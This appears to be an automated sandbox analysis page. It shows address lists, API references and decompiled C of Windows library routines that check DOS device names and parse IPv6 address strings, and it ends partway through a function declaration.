0x6b5a1358
0x6b5a1405
0x6b5a1366
0x6b5a1368
0x6b5a136c
0x6b5a136e
0x6b5a1373
0x6b5a1407
0x6b5a1409
0x6b5a1414
0x6b5a140b
0x6b5a140b
0x6b5a140b
0x6b5a1416
0x6b5a1418
0x6b5a141f
0x6b5a1422
0x6b5a1425
0x6b5a1428
0x6b5a1431
0x00000000
0x6b5a1437
0x6b5a1437
0x6b5a1439
0x6b5a143c
0x6b5a1442
0x6b5a1445
0x6b5a144c
0x6b5a144f
0x6b5a1452
0x6b5a145d
0x6b5a1462
0x6b5a1466
0x6b5a146a
0x00000000
0x00000000
0x6b5a1477
0x6b5a147d
0x00000000
0x00000000
0x6b5a1483
0x6b5a148c
0x6b5a148e
0x6b5a1491
0x6b5a1496
0x6b5a14a2
0x6b5a14a9
0x6b5a14a4
0x6b5a14a6
0x6b5a14a6
0x6b5a1498
0x6b5a149a
0x6b5a149a
0x6b5a14ae
0x6b5a14e8
0x6b5a1501
0x6b5a1509
0x6b5a150c
0x6b5a150f
0x6b5a1511
0x6b5a1513
0x6b5a1518
0x6b5a151d
0x00000000
0x00000000
0x6b5a1523
0x6b5a152a
0x6b5a152f
0x6b5a1556
0x6b5a1595
0x6b5a1598
0x6b5a159b
0x6b5a15a0
0x6b5a15c8
0x00000000
0x6b5a15d6
0x6b5a15e3
0x6b5a15ef
0x6b5a15f5
0x6b5a1607
0x6b5a160c
0x6b5a160f
0x00000000
0x6b5a160f
0x6b5a15c8
0x6b5a15a5
0x00000000
0x6b5a15b3
0x6b5a15b9
0x00000000
0x6b5a15b9
0x6b5a15a5
0x6b5a1558
0x6b5a155b
0x6b5a155e
0x6b5a1563
0x00000000
0x00000000
0x6b5a1565
0x6b5a1577
0x6b5a1579
0x6b5a1579
0x6b5a157f
0x6b5a1582
0x6b5a1583
0x6b5a1586
0x6b5a158b
0x00000000
0x6b5a158d
0x6b5a158d
0x00000000
0x6b5a158d
0x6b5a158b
0x6b5a1565
0x00000000
0x6b5a14b0
0x6b5a14b2
0x6b5a14b3
0x6b5a14ba
0x6b5a14bd
0x6b5a14c2
0x00000000
0x00000000
0x6b5a14c8
0x6b5a14cf
0x6b5a14d3
0x6b5a14d6
0x00000000
0x6b5a14d6
0x6b5a14ae
0x00000000
0x6b5a1612
0x6b5a1612
0x6b5a1615
0x6b5a1616
0x6b5a1619
0x00000000
0x6b5a1621
0x6b5a1431
0x6b5a1379
0x6b5a137e
0x6b5a1383
0x6b5a13b8
0x6b5a13b8
0x6b5a13be
0x00000000
0x6b5a13ce
0x6b5a13d0
0x6b5a13e3
0x6b5a13e3
0x6b5a13e5
0x6b5a13e5
0x6b5a13e8
0x6b5a13eb
0x6b5a13ee
0x6b5a13f3
0x00000000
0x00000000
0x00000000
0x6b5a13f3
0x6b5a13d2
0x6b5a13d9
0x00000000
0x00000000
0x6b5a13db
0x6b5a13de
0x00000000
0x6b5a13de
0x6b5a13be
0x6b5a1388
0x6b5a139a
0x6b5a139f
0x6b5a13a3
0x00000000
0x00000000
0x6b5a13ab
0x6b5a13af
0x00000000
0x00000000
0x6b5a13b5
0x00000000
0x00000000
0x00000000
0x00000000
0x6b5a1388
0x6b5a13f7
0x00000000
0x00000000
0x6b5a13fd
0x6b5a1400
0x6b5a1400
0x00000000
0x6b5a1358
0x6b5a133c
0x6b5a133d
0x6b5a1342
0x6b5a1347
0x00000000
0x00000000
0x00000000
0x6b5a1347
0x00000000
0x00000000
0x00000000
0x00000000
0x6b545cd4
0x6b545c8f
0x6b5a12fc
0x6b5a1300
0x00000000
0x00000000
0x6b5a1309
0x00000000
0x00000000
0x6b5a1313
0x00000000
0x00000000
0x6b5a1319
0x6b545c95
0x6b545c97
0x6b545ca1
0x00000000
0x00000000
0x00000000
0x6b545ca1
0x6b5a1669
0x6b5a166e
0x00000000
0x6b5a167c
0x00000000
0x6b5a167c

APIs

_wcsnicmp.1105(?,xl--,00000004,?,?,?,?), ref: 6B545CC7

Strings

$, xrefs: 6B5A14CF
xn--, xrefs: 6B545CBE, 6B545CC5
$, xrefs: 6B5A14C8
xl--, xrefs: 6B545CB7
H, xrefs: 6B5A1428

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcsnicmp
String ID: $$$$H$xl--$xn--
API String ID: 1886669725-662589111
Opcode ID: ef97f33607372bd37b22eee1fe23fd37b16a6652cfd67b57c8ed731421d61a87
Instruction ID: 1536f21a585baccf744300ca8d495d4f23a08360825d386abb10bf97ccdfe896
Opcode Fuzzy Hash: ef97f33607372bd37b22eee1fe23fd37b16a6652cfd67b57c8ed731421d61a87
Instruction Fuzzy Hash: 6EF1F6B1E002598BFF14CF68D4847DDB7B1AF85314F2485AADA51FB284E7389A45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6B5674C0, Relevance: 10.8, APIs: 7, Instructions: 264
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6B5674C0(signed short* __ecx) {
				char _v8;
				signed int _v12;
				signed int* _v16;
				void* _v20;
				signed short _t49;
				signed int _t54;
				signed int _t56;
				signed int _t57;
				signed int _t68;
				signed short* _t71;
				signed int _t74;
				signed int _t80;
				signed int _t85;
				signed int _t86;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				char _t91;
				signed short* _t92;
				unsigned short _t93;
				char _t94;
				signed short* _t95;
				signed int _t100;
				unsigned short _t101;
				signed short* _t104;
				signed int _t105;
				void* _t106;
				signed int* _t107;
				signed short _t108;
				signed int _t109;
				signed int _t112;
				signed int* _t113;

				_t92 = __ecx;
				_t104 = __ecx[2];
				_t112 =  *__ecx & 0x0000ffff;
				_v8 = 0;
				if(_t112 < 2) {
					L3:
					_t49 =  *_t92;
					_t113 = _t104;
					_t108 = _t49;
					_v20 = _t49;
					_t89 = _t108 & 0x0000ffff;
					_t93 = _t89;
					_v16 = _t113;
					_t105 = _t93 >> 0x00000001 & 0x0000ffff;
					if(_t105 == 0) {
						goto L28;
					} else {
						if( *((short*)(_t113 + _t105 * 2 - 2)) == 0x3a) {
							_t43 = _t93 - 2; // 0xfffffe
							_t108 = _t43;
							_t105 = _t105 + 0xffff;
							_t94 = 1;
							_v8 = 1;
						} else {
							_t94 = 0;
						}
						if(_t105 == 0) {
							goto L28;
						} else {
							while(1) {
								_t54 =  *(_t113 + (_t105 & 0x0000ffff) * 2 - 2) & 0x0000ffff;
								if(_t54 != 0x2e && _t54 != 0x20) {
									break;
								}
								_v12 = 0xfffe;
								_t105 = _t105 + 0xffff;
								_t108 = _t108 + _v12;
								_t94 = _t94 + 1;
								if(_t105 != 0) {
									continue;
								} else {
								}
								break;
							}
							_v8 = _t94;
							_v12 = 0;
							if(_t105 == 0) {
								L20:
								_t95 = _t113;
								_t106 = _t113 + (_t105 & 0x0000ffff) * 2;
								if(_t113 < _t106) {
									while(1) {
										_t68 =  *_t95 & 0x0000ffff;
										if(_t68 == 0x2e || _t68 == 0x3a) {
											break;
										}
										_t95 =  &(_t95[1]);
										if(_t95 < _t106) {
											continue;
										}
										break;
									}
									if(_t95 > _t113) {
										while( *((short*)(_t95 - 2)) == 0x20) {
											_t95 =  &(_t95[0xffffffffffffffff]);
											if(_t95 > _t113) {
												continue;
											} else {
											}
											goto L27;
										}
									}
								}
								L27:
								_t56 = _t95 - _t113 >> 0x00000001 & 0x0000ffff;
								_t109 = _t56;
								_v20 = _t56 + _t56;
								if(_t109 != 5) {
									_t26 = _t109 - 3; // 0x37
									_t57 = _t26;
									if(_t57 > 4) {
										goto L28;
									} else {
										switch( *((intOrPtr*)(_t57 * 4 +  &M6B5677C8))) {
											case 0:
												if(RtlEqualUnicodeString( &_v20, 0x6b521040, 1) != 0 || RtlEqualUnicodeString( &_v20, 0x6b521050, 1) != 0 || RtlEqualUnicodeString( &_v20, 0x6b521048, 1) != 0) {
													goto L46;
												} else {
													_push(1);
													_push(0x6b521058);
													goto L45;
												}
												goto L76;
											case 1:
												_t36 = __esi + 6; // 0xe6b52
												__eax =  *_t36 & 0x0000ffff;
												if(iswdigit( *_t36 & 0x0000ffff) == 0) {
													goto L28;
												} else {
													if( *(__esi + 6) == 0x30) {
														goto L28;
													} else {
														_t46 = __ebx - 2; // -1
														__eax = _t46;
														_v20 = __ax;
														 &_v20 = RtlEqualUnicodeString( &_v20, 0x6b5218f8, 1);
														if(__al != 0) {
															goto L46;
														} else {
															_push(1);
															_push(0x6b521910);
															goto L45;
														}
													}
												}
												goto L76;
											case 2:
												goto L28;
											case 3:
												_push(1);
												_push(0x6b521068);
												L45:
												if(RtlEqualUnicodeString( &_v20, ??, ??) == 0) {
													goto L28;
												} else {
													goto L46;
												}
												goto L76;
											case 4:
												_t35 =  &_v20; // 0xffff0
												_t35 = RtlEqualUnicodeString(_t35, 0x6b521060, 1);
												if(__al == 0) {
													goto L28;
												} else {
													L46:
													return _t109 + _t109 | _v12 << 0x00000010;
												}
												goto L76;
										}
									}
								} else {
									goto L28;
								}
							} else {
								_t71 = _t113 + ((_t105 & 0x0000ffff) - 1) * 2;
								if(_t71 < _t113) {
									L19:
									_t74 = ( *_t113 | 0x00000020) & 0x0000ffff;
									if(_t74 != 0x70) {
										if(_t74 == 0x6c || _t74 == 0x6e || _t74 == 0x61 || _t74 == 0x63) {
											goto L20;
										} else {
											goto L28;
										}
									} else {
										goto L20;
									}
								} else {
									while(1) {
										_t100 =  *_t71 & 0x0000ffff;
										if(_t100 == 0x5c || _t100 == 0x2f) {
											break;
										}
										if(_t100 == 0x3a) {
											if(_t71 !=  &(_t113[0])) {
												goto L14;
											} else {
												break;
											}
										} else {
											L14:
											_t71 = _t71 - 2;
											if(_t71 >= _t113) {
												continue;
											} else {
												goto L19;
											}
										}
										goto L76;
									}
									_t15 =  &(_t71[1]); // 0x3b
									_t107 = _t15;
									if(_t107 >= _t113 + (_t89 & 0xfffffffe)) {
										goto L28;
									} else {
										_t80 = ( *_t107 | 0x00000020) & 0x0000ffff;
										if(_t80 != 0x70) {
											if(_t80 == 0x6c || _t80 == 0x6e || _t80 == 0x61) {
												goto L18;
											} else {
												if(_t80 != 0x63) {
													goto L28;
												} else {
													goto L18;
												}
											}
										} else {
											L18:
											_v12 = _t107 - _t113;
											_t91 = _v8;
											_t101 = _t113 - _t107 + _t89 & 0x0000ffff;
											_t113 = _t107;
											_v16 = _t113;
											_t105 = (_t101 >> 0x00000001) - _t91 & 0x0000ffff;
											_v20 = _t101 - _t91 + _t91;
											goto L19;
										}
									}
								}
							}
						}
					}
				} else {
					_t85 =  *_t104 & 0x0000ffff;
					if(_t85 == 0x5c || _t85 == 0x2f) {
						if(_t112 < 4) {
							goto L3;
						} else {
							_t86 = _t104[1] & 0x0000ffff;
							if(_t86 != 0x5c) {
								if(_t86 != 0x2f) {
									goto L3;
								} else {
									goto L54;
								}
							} else {
								L54:
								if(_t112 < 6) {
									L28:
									return 0;
								} else {
									_t87 = _t104[2] & 0x0000ffff;
									if(_t87 != 0x2e) {
										if(_t87 == 0x3f) {
											goto L56;
										} else {
											goto L28;
										}
									} else {
										L56:
										if(_t112 < 8) {
											L69:
											if(_t112 != 6) {
												goto L28;
											} else {
												goto L3;
											}
										} else {
											_t88 = _t104[3] & 0x0000ffff;
											if(_t88 == 0x5c) {
												goto L28;
											} else {
												if(_t88 == 0x2f) {
													goto L28;
												} else {
													goto L69;
												}
											}
										}
									}
								}
							}
						}
					} else {
						goto L3;
					}
				}
				L76:
			}

0x6b5674c0
0x6b5674c8
0x6b5674cd
0x6b5674d0
0x6b5674db
0x6b5674f2
0x6b5674f2
0x6b5674f4
0x6b5674f6
0x6b5674f9
0x6b5674fc
0x6b5674ff
0x6b567501
0x6b56750a
0x6b567510
0x00000000
0x6b567516
0x6b56751c
0x6b5677af
0x6b5677af
0x6b5677b2
0x6b5677b8
0x6b5677bd
0x6b567522
0x6b567522
0x6b567522
0x6b567527
0x00000000
0x6b56752d
0x6b56752d
0x6b567530
0x6b567539
0x00000000
0x00000000
0x6b56778f
0x6b567796
0x6b56779c
0x6b5677a0
0x6b5677a4
0x00000000
0x00000000
0x6b5677aa
0x00000000
0x6b5677a4
0x6b567549
0x6b56754c
0x6b567556
0x6b5675e5
0x6b5675e8
0x6b5675ea
0x6b5675ef
0x6b5675f1
0x6b5675f1
0x6b5675f7
0x00000000
0x00000000
0x6b5675fe
0x6b567603
0x00000000
0x00000000
0x00000000
0x6b567603
0x6b567607
0x6b567610
0x6b5af983
0x6b5af988
0x00000000
0x00000000
0x6b5af98e
0x00000000
0x6b5af988
0x6b567610
0x6b567607
0x6b56761b
0x6b56761f
0x6b567622
0x6b567627
0x6b56762e
0x6b567680
0x6b567680
0x6b567686
0x00000000
0x6b567688
0x6b567688
0x00000000
0x6b5676a1
0x00000000
0x6b5676cb
0x6b5676cb
0x6b5676cd
0x00000000
0x6b5676cd
0x00000000
0x00000000
0x6b567718
0x6b567718
0x6b567727
0x00000000
0x6b56772d
0x6b5af998
0x00000000
0x6b5af99e
0x6b5af99e
0x6b5af99e
0x6b5af9a3
0x6b5af9b0
0x6b5af9b7
0x00000000
0x6b5af9bd
0x6b5af9bd
0x6b5af9bf
0x00000000
0x6b5af9bf
0x6b5af9b7
0x6b5af998
0x00000000
0x00000000
0x00000000
0x00000000
0x6b56770f
0x6b567711
0x6b5676d2
0x6b5676dd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6b5676fc
0x6b567700
0x6b567707
0x00000000
0x6b56770d
0x6b5676e3
0x6b5676f4
0x6b5676f4
0x00000000
0x00000000
0x6b567688
0x00000000
0x00000000
0x00000000
0x6b56755c
0x6b567560
0x6b567565
0x6b5675d6
0x6b5675dd
0x6b5675e3
0x6b567661
0x00000000
0x6b56767e
0x00000000
0x6b56767e
0x00000000
0x00000000
0x00000000
0x6b567567
0x6b567567
0x6b567567
0x6b56756d
0x00000000
0x00000000
0x6b567577
0x6b56777a
0x00000000
0x6b567780
0x00000000
0x6b567780
0x6b56757d
0x6b56757d
0x6b56757d
0x6b567582
0x00000000
0x6b567584
0x00000000
0x6b567584
0x6b567582
0x00000000
0x6b567577
0x6b567586
0x6b567586
0x6b567592
0x00000000
0x6b567598
0x6b56759f
0x6b5675a5
0x6b56763c
0x00000000
0x6b567654
0x6b567657
0x00000000
0x6b567659
0x00000000
0x6b567659
0x6b567657
0x6b5675ab
0x6b5675ab
0x6b5675b3
0x6b5675b6
0x6b5675b9
0x6b5675bc
0x6b5675c1
0x6b5675ca
0x6b5675d2
0x00000000
0x6b5675d2
0x6b5675a5
0x6b567592
0x6b567565
0x6b567556
0x6b567527
0x6b5674dd
0x6b5674dd
0x6b5674e3
0x6b567735
0x00000000
0x6b56773b
0x6b56773b
0x6b567742
0x6b5af961
0x00000000
0x6b5af967
0x00000000
0x6b5af967
0x6b567748
0x6b567748
0x6b56774b
0x6b567630
0x6b567638
0x6b567751
0x6b567751
0x6b567758
0x6b567788
0x00000000
0x6b56778a
0x00000000
0x6b56778a
0x6b56775a
0x6b56775a
0x6b56775d
0x6b5af975
0x6b5af978
0x00000000
0x6b5af97e
0x00000000
0x6b5af97e
0x6b567763
0x6b567763
0x6b56776a
0x00000000
0x6b567770
0x6b5af96f
0x00000000
0x00000000
0x00000000
0x00000000
0x6b5af96f
0x6b56776a
0x6b56775d
0x6b567758
0x6b56774b
0x6b567742
0x00000000
0x00000000
0x00000000
0x6b5674e3
0x00000000

APIs

RtlEqualUnicodeString.1105(?,6B521040,00000001,?,00000024,01000000), ref: 6B56769A
RtlEqualUnicodeString.1105(?,6B521050,00000001,?,6B521040,00000001,?,00000024,01000000), ref: 6B5676AE
RtlEqualUnicodeString.1105(?,6B521048,00000001,?,6B521050,00000001,?,6B521040,00000001,?,00000024,01000000), ref: 6B5676C2
RtlEqualUnicodeString.1105(?,6B521058,00000001,?,6B521048,00000001,?,6B521050,00000001,?,6B521040,00000001,?,00000024,01000000), ref: 6B5676D6
RtlEqualUnicodeString.1105(000FFFF0,6B521060,00000001,6B521068,00000001,6B5218F8,00000001), ref: 6B567700
iswdigit.1105(000E6B52,6B521048,00000001,?,6B521050,00000001,?,6B521040,00000001,?,00000024,01000000), ref: 6B56771D
RtlEqualUnicodeString.1105(00100000,6B5218F8,00000001), ref: 6B5AF9B0

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: EqualStringUnicode$iswdigit
String ID:
API String ID: 3246613909-0
Opcode ID: 262036528fb94ec94c03eda4b3144d702107dc6e1bcc7e4773fa88c5cbc05e2a
Instruction ID: cc21e4f9b0272d170c6f7c286744e80abebcd650ce733cb32358759e2f68d338
Opcode Fuzzy Hash: 262036528fb94ec94c03eda4b3144d702107dc6e1bcc7e4773fa88c5cbc05e2a
Instruction Fuzzy Hash: 4E81467181422586FB24CA58C4917FEB3B2EF26790F5009E6EC60D71B0FB3D8986C691

Uniqueness

Uniqueness Score: -1.00%

Function 6B540B60, Relevance: 10.7, APIs: 7, Instructions: 234
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E6B540B60(signed short* _a4, intOrPtr _a8, intOrPtr* _a12, short* _a16) {
				char _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				void* _t39;
				signed int _t41;
				void* _t45;
				void* _t50;
				long _t51;
				signed int _t52;
				signed int _t53;
				signed int _t60;
				signed int _t64;
				signed int _t75;
				signed int _t76;
				signed int _t78;
				signed int _t80;
				signed int _t87;
				signed short* _t90;
				void* _t93;
				signed int _t105;
				signed short* _t106;
				signed int _t111;
				void* _t115;
				signed int _t116;
				signed int _t117;
				signed int _t121;
				signed int _t122;
				long _t123;
				long _t125;
				void* _t128;
				signed short* _t131;

				_t90 = _a4;
				if(_t90 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L6:
					_t39 = 0xc000000d;
				} else {
					_t87 = 0;
					_v16 = 0;
					_t41 =  *_t90 & 0x0000ffff;
					_t115 = 0x5b;
					_t121 = _t41;
					_v20 = _t121;
					if(_t41 == _t115) {
						_t90 =  &(_t90[1]);
					}
					_v5 = _t121 == _t115;
					if(E6B540BD0(_t90,  &_v24, _a8) >= 0) {
						_t131 = _v24;
						_v12 = 0xa;
						__eflags =  *_t131 - 0x25;
						if( *_t131 != 0x25) {
							L22:
							_t45 = 0x5d;
							goto L23;
						} else {
							_t131 =  &(_t131[1]);
							_t125 =  *_t131 & 0x0000ffff;
							__eflags = _t125 - 0x80;
							if(_t125 >= 0x80) {
								goto L6;
							} else {
								_t76 = iswctype(_t125, 4);
								__eflags = _t76;
								if(_t76 == 0) {
									goto L6;
								} else {
									while(1) {
										__eflags = _t125;
										if(_t125 == 0) {
											break;
										}
										_t45 = 0x5d;
										__eflags = _t125 - _t45;
										if(_t125 == _t45) {
											_t121 = _v20;
											L23:
											__eflags =  *_t131 - _t45;
											if( *_t131 != _t45) {
												L45:
												_t116 = _v5;
												goto L46;
											} else {
												_t50 = 0x5b;
												__eflags = _t121 - _t50;
												if(_t121 != _t50) {
													goto L6;
												} else {
													_t131 =  &(_t131[1]);
													_t116 = 0;
													_v5 = 0;
													__eflags =  *_t131 - 0x3a;
													if( *_t131 != 0x3a) {
														L46:
														__eflags =  *_t131;
														if( *_t131 != 0) {
															goto L6;
														} else {
															__eflags = _t116;
															if(_t116 != 0) {
																goto L6;
															} else {
																 *_a16 = _t87;
																 *_a12 = _v16;
																_t39 = 0;
															}
														}
													} else {
														_t131 =  &(_t131[1]);
														_t122 = 0x10;
														__eflags =  *_t131 - 0x30;
														if( *_t131 != 0x30) {
															_t117 = 0xa;
														} else {
															_t24 =  &(_t131[1]); // -4
															_t106 = _t24;
															_t131 = _t106;
															_t117 = 8;
															_v12 = _t117;
															_t75 =  *_t131 & 0x0000ffff;
															__eflags = _t75 - 0x78;
															if(_t75 == 0x78) {
																L29:
																_t117 = _t122;
																_t26 =  &(_t106[1]); // 0x0
																_t131 = _t26;
																_v12 = _t117;
															} else {
																__eflags = _t75 - 0x58;
																if(_t75 != 0x58) {
																	goto L32;
																} else {
																	goto L29;
																}
																while(1) {
																	L32:
																	_t123 =  *_t131 & 0x0000ffff;
																	__eflags = _t123;
																	if(_t123 == 0) {
																		goto L45;
																	}
																	_t51 = 0x80;
																	__eflags = _t123 - 0x80;
																	if(_t123 >= 0x80) {
																		L39:
																		_t93 = 0x10;
																		__eflags = _t117 - _t93;
																		if(_t117 != _t93) {
																			goto L6;
																		} else {
																			__eflags = _t123 - _t51;
																			if(_t123 >= _t51) {
																				goto L6;
																			} else {
																				_t52 = iswctype(_t123, _t51);
																				__eflags = _t52;
																				if(_t52 == 0) {
																					goto L6;
																				} else {
																					_t53 = iswctype(_t123, 2);
																					asm("sbb eax, eax");
																					__eflags = (_t123 & 0x0000ffff) + 0xa + ((_t87 & 0x0000ffff) << 4) - ( ~_t53 & 0x00000020) + 0x41 - 0xffff;
																					if((_t123 & 0x0000ffff) + 0xa + ((_t87 & 0x0000ffff) << 4) - ( ~_t53 & 0x00000020) + 0x41 > 0xffff) {
																						goto L6;
																					} else {
																						_t60 = iswctype(_t123, 2);
																						_t117 = _v12;
																						asm("sbb eax, eax");
																						_t87 = (_t87 << 4) + 0xa + _t123 - ( ~_t60 & 0x00000020) + 0x41;
																						__eflags = _t87;
																						goto L44;
																					}
																				}
																			}
																		}
																	} else {
																		_t64 = iswctype(_t123, 4);
																		_t117 = _v12;
																		__eflags = _t64;
																		if(_t64 == 0) {
																			L38:
																			_t51 = 0x80;
																			goto L39;
																		} else {
																			_t105 = _t123 & 0x0000ffff;
																			_v24 = _t117 & 0x0000ffff;
																			_t31 = _t105 - 0x30; // -44
																			__eflags = _t31 - _v24;
																			if(_t31 >= _v24) {
																				goto L38;
																			} else {
																				__eflags = (_t87 & 0x0000ffff) * _v24 + 0xffffffd0 + _t105 - 0xffff;
																				if((_t87 & 0x0000ffff) * _v24 + 0xffffffd0 + _t105 > 0xffff) {
																					goto L6;
																				} else {
																					_t87 = _t117 * _t87 + 0xffffffd0 + _t123 & 0x0000ffff;
																					L44:
																					_t131 =  &(_t131[1]);
																					continue;
																				}
																			}
																		}
																	}
																	goto L7;
																}
																goto L45;
															}
														}
														goto L32;
													}
												}
											}
										} else {
											__eflags = _t125 - _t45 + 0x23;
											if(_t125 >= _t45 + 0x23) {
												goto L6;
											} else {
												_t78 = iswctype(_t125, 4);
												__eflags = _t78;
												if(_t78 == 0) {
													goto L6;
												} else {
													_v24 = _t125 & 0x0000ffff;
													_t80 = _v16;
													_t111 = 0xa;
													asm("cdq");
													asm("adc ecx, edx");
													_t128 = _t80 * _t111 + _v24 + 0xffffffd0;
													asm("adc ecx, 0xffffffff");
													__eflags = _t80 * _t111 >> 0x20;
													if(__eflags > 0) {
														goto L6;
													} else {
														if(__eflags < 0) {
															L19:
															_t131 =  &(_t131[1]);
															__eflags = _t131;
															_v16 = _v16 * 0xa + _v24 + 0xffffffd0;
															_t125 =  *_t131 & 0x0000ffff;
															continue;
														} else {
															__eflags = _t128 - 0xffffffff;
															if(_t128 > 0xffffffff) {
																goto L6;
															} else {
																goto L19;
															}
														}
													}
												}
											}
										}
										goto L7;
									}
									_t121 = _v20;
									goto L22;
								}
							}
						}
					} else {
						goto L6;
					}
				}
				L7:
				return _t39;
			}

0x6b540b65
0x6b540b70
0x6b540bb7
0x6b540bb7
0x6b540b84
0x6b540b86
0x6b540b88
0x6b540b8b
0x6b540b90
0x6b540b91
0x6b540b93
0x6b540b99
0x6b540bc5
0x6b540bc5
0x6b540ba6
0x6b540bb1
0x6b59e578
0x6b59e580
0x6b59e587
0x6b59e58b
0x6b59e62e
0x6b59e630
0x00000000
0x6b59e591
0x6b59e591
0x6b59e594
0x6b59e597
0x6b59e59a
0x00000000
0x6b59e5a0
0x6b59e5a3
0x6b59e5aa
0x6b59e5ac
0x00000000
0x6b59e5b2
0x6b59e626
0x6b59e626
0x6b59e629
0x00000000
0x00000000
0x6b59e5b6
0x6b59e5b7
0x6b59e5ba
0x6b59e686
0x6b59e631
0x6b59e631
0x6b59e634
0x6b59e76f
0x6b59e76f
0x00000000
0x6b59e63a
0x6b59e63c
0x6b59e63d
0x6b59e640
0x00000000
0x6b59e646
0x6b59e646
0x6b59e649
0x6b59e64b
0x6b59e64e
0x6b59e652
0x6b59e772
0x6b59e774
0x6b59e777
0x00000000
0x6b59e77d
0x6b59e77d
0x6b59e77f
0x00000000
0x6b59e785
0x6b59e78c
0x6b59e795
0x6b59e797
0x6b59e797
0x6b59e77f
0x6b59e658
0x6b59e658
0x6b59e65d
0x6b59e65e
0x6b59e662
0x6b59e68d
0x6b59e664
0x6b59e664
0x6b59e664
0x6b59e667
0x6b59e66b
0x6b59e66c
0x6b59e66f
0x6b59e672
0x6b59e675
0x6b59e67c
0x6b59e67c
0x6b59e67e
0x6b59e67e
0x6b59e681
0x6b59e677
0x6b59e677
0x6b59e67a
0x00000000
0x00000000
0x00000000
0x00000000
0x6b59e68e
0x6b59e68e
0x6b59e68e
0x6b59e691
0x6b59e694
0x00000000
0x00000000
0x6b59e69a
0x6b59e69f
0x6b59e6a2
0x6b59e6f1
0x6b59e6f3
0x6b59e6f4
0x6b59e6f7
0x00000000
0x6b59e6fd
0x6b59e6fd
0x6b59e700
0x00000000
0x6b59e706
0x6b59e708
0x6b59e70f
0x6b59e711
0x00000000
0x6b59e717
0x6b59e71a
0x6b59e722
0x6b59e73b
0x6b59e740
0x00000000
0x6b59e746
0x6b59e74c
0x6b59e751
0x6b59e757
0x6b59e765
0x6b59e765
0x00000000
0x6b59e765
0x6b59e740
0x6b59e711
0x6b59e700
0x6b59e6a4
0x6b59e6a7
0x6b59e6ac
0x6b59e6b1
0x6b59e6b3
0x6b59e6ec
0x6b59e6ec
0x00000000
0x6b59e6b5
0x6b59e6b5
0x6b59e6bb
0x6b59e6be
0x6b59e6c1
0x6b59e6c4
0x00000000
0x6b59e6c6
0x6b59e6d2
0x6b59e6d7
0x00000000
0x6b59e6dd
0x6b59e6e7
0x6b59e767
0x6b59e767
0x00000000
0x6b59e767
0x6b59e6d7
0x6b59e6c4
0x6b59e6b3
0x00000000
0x6b59e6a2
0x00000000
0x6b59e68e
0x6b59e675
0x00000000
0x6b59e662
0x6b59e652
0x6b59e640
0x6b59e5c0
0x6b59e5c3
0x6b59e5c6
0x00000000
0x6b59e5cc
0x6b59e5cf
0x6b59e5d6
0x6b59e5d8
0x00000000
0x6b59e5de
0x6b59e5e1
0x6b59e5e4
0x6b59e5e9
0x6b59e5f3
0x6b59e5f6
0x6b59e5f8
0x6b59e5fb
0x6b59e5fe
0x6b59e600
0x00000000
0x6b59e606
0x6b59e606
0x6b59e611
0x6b59e61d
0x6b59e61d
0x6b59e620
0x6b59e623
0x00000000
0x6b59e608
0x6b59e608
0x6b59e60b
0x00000000
0x00000000
0x00000000
0x00000000
0x6b59e60b
0x6b59e606
0x6b59e600
0x6b59e5d8
0x6b59e5c6
0x00000000
0x6b59e5ba
0x6b59e62b
0x00000000
0x6b59e62b
0x6b59e5ac
0x6b59e59a
0x00000000
0x00000000
0x00000000
0x6b540bb1
0x6b540bbc
0x6b540bc2

APIs

RtlIpv6StringToAddressW.1105(?,?,00000000,00000000), ref: 6B540BAA

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressIpv6String
String ID:
API String ID: 27538981-0
Opcode ID: b690b3803644220c55924738faed87d42b98be9f139281c8459cf90186e800ac
Instruction ID: 9d26392b2a7f7f8e350a65d988586dcd7c6ff43e10bd93bfb1ea355243adbd70
Opcode Fuzzy Hash: b690b3803644220c55924738faed87d42b98be9f139281c8459cf90186e800ac
Instruction Fuzzy Hash: E1617D329403418BFB24EB64EC41BFD73B2AF65728F2844ABE950D72C0E77C88858254

Uniqueness

Uniqueness Score: -1.00%

Function 6B548D29, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 200
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E6B548D29(intOrPtr __ecx, intOrPtr* _a4, intOrPtr _a8, signed int* _a12) {
				char _v8;
				signed int _v12;
				void* _v16;
				char _v20;
				char _v24;
				intOrPtr _v28;
				void* _t104;
				signed int _t106;
				intOrPtr _t110;
				intOrPtr _t111;
				intOrPtr _t113;
				signed char* _t147;
				signed int _t149;
				intOrPtr _t152;
				void* _t156;
				intOrPtr _t158;
				intOrPtr _t159;
				intOrPtr _t163;
				intOrPtr* _t164;
				intOrPtr _t165;
				intOrPtr* _t166;
				signed int* _t167;
				intOrPtr* _t168;
				signed int* _t169;
				signed int _t170;
				signed int _t172;
				void* _t174;
